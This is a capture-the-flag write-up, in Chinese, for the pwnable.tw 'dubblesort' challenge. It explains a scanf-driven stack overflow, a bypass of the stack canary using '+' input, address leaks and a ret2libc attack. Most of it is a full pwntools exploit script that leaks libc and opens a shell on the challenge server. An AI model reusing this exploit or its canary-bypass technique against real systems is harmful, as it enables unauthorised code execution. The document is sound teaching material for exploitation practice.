pwnable.tw dubblesort writeup
Refs
思路
unsigned int number; // [sp+18h] [bp-74h]@1
int numbers; // [sp+1Ch] [bp-70h]@2
int name; // [sp+3Ch] [bp-50h]@1
int v12; // [sp+7Ch] [bp-10h]@1
保护机制全开,漏洞的原因是利用scanf("%u",&a)读取numbers,并排序,数字的数量没有限制,导致栈溢出。如果a为+ - ,则依然原来的值。如果a为字母,则scanf从此之后都失败。
利用scanf("%s",&name);泄漏stack中程序的.text段地址,根据偏移计算main_addr。构造numbers输入,维护canary,泄漏ebp之前libc中的地址,根据偏移计算libc_addr,同时覆盖返回地址为main_addr。下一次输入,维护canary,构造ret2libc拿shell。
分析
- 栈中libc的地址和libc_addr之间的偏移和libc.so有关系。计算offset后,readelf -S libc.so可以offset处的name,根据name到新libc中寻找新offset。
- scanf("%u",&a);读取的是数字,因此直接把十进制数转化成字符串输入就好。此外读取+ ,- 为什么不会替换原来的值,尚不清楚。
- IDA F5分析可能不准确,看汇编验证自己的想法。比如本题都是根据esp来计算定位参数的。
- info sharedlibrary查看的是elf加载时,so text节的地址,vmmap(ldd)查看的是整个so文件的地址。
- 本题我采用的是先利用读取name来泄漏main的地址,再sort泄漏libc的地址。第二次执行main 利用ret2libc拿shell。其实也可以在第一次读取name时候泄漏libc的地址,那么可以直接在sort时拿shell。这样有个好处,libc的地址通常很大,可以布置在后面没问题。第一种方法,泄漏main的地址,要求canary比main小,可能需要多次执行。
- 熬夜做题不好,下次再也不熬夜了。
exp
from pwn import *
import sys,getopt
import time
args = sys.argv[1:]
context(os='linux', arch='i386')
debug = 1 if '-nd' not in args else 0
proc_name = './dubblesort'
local = 1 if '-r' not in args else 0
isattach = local & 1
bps = isattach & 0
ip = 'chall.pwnable.tw'
port = 10101
io = None
def makeio():
global io
if local:
io = process(proc_name)
else:
io = remote(ip,port)
def ru(data):
return io.recvuntil(data)
def rv():
return io.recv()
def sl(data):
return io.sendline(data)
def sd(data):
return io.send(data)
def rl():
return io.recvline()
def lg(data):
return log.info(data)
def attach():
if isattach:
if bps:
gdb.attach(pidof(io)[0], open('bps'))
else:
gdb.attach(pidof(io)[0])
def pwn():
makeio()
if debug:
context.log_level = 'debug'
ru('name :')
payload = 'A'*0x20
sd(payload)
data = u32(rv()[38:42])
print hex(data)
main_addr = data + 0x000003c2
print 'main_addr' + hex(main_addr)
sleep(0.1)
sl('34')
ru('number :')
payload = '1\n'*24 + '+\n' + ('1342177280'+'\n')*5 + '+\n' + '1342177280'+'\n' + str(main_addr)+'\n' + '1342177280\n' # 1342177280 == 0x50000000
sd(payload)
print 'wait sort'
sleep(2)
rl()
rl()
data = rv()
print data
canary = int(data.split(' ')[24],10)
libc3 = int(data.split(' ')[33],10)
if canary < 0x50000000:
print 'canary: ' + hex(canary)
print 'libc_addr: ' + hex(libc3)
print 'success'
if local:
libc = ELF('libc.so')
libc_addr = libc3 - 0x1b2000
else:
libc = ELF('libc_32.so.6')
libc_addr = libc3 - 0x001b0000
# attach()
binsh_offset = next(libc.search('/bin/sh'))
system_offset = libc.symbols['system']
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset
print 'system_addr ' + hex(system_addr)
print 'binsh_addr ' + hex(binsh_addr)
sleep(3)
sl('A')
ru('sort :')
sl('32')
ru('number :')
payload = '1\n'*24 + '+\n' + '1342177280\n'*4 + str(system_addr)+'\n' + str(binsh_addr)+'\n' + str(binsh_addr) +'\n'
sd(payload)
io.interactive()
return True
log.info('Attempt to try again.Wrong canary '+ hex(canary))
if __name__ == '__main__':
success = False
while not success :
success = pwn()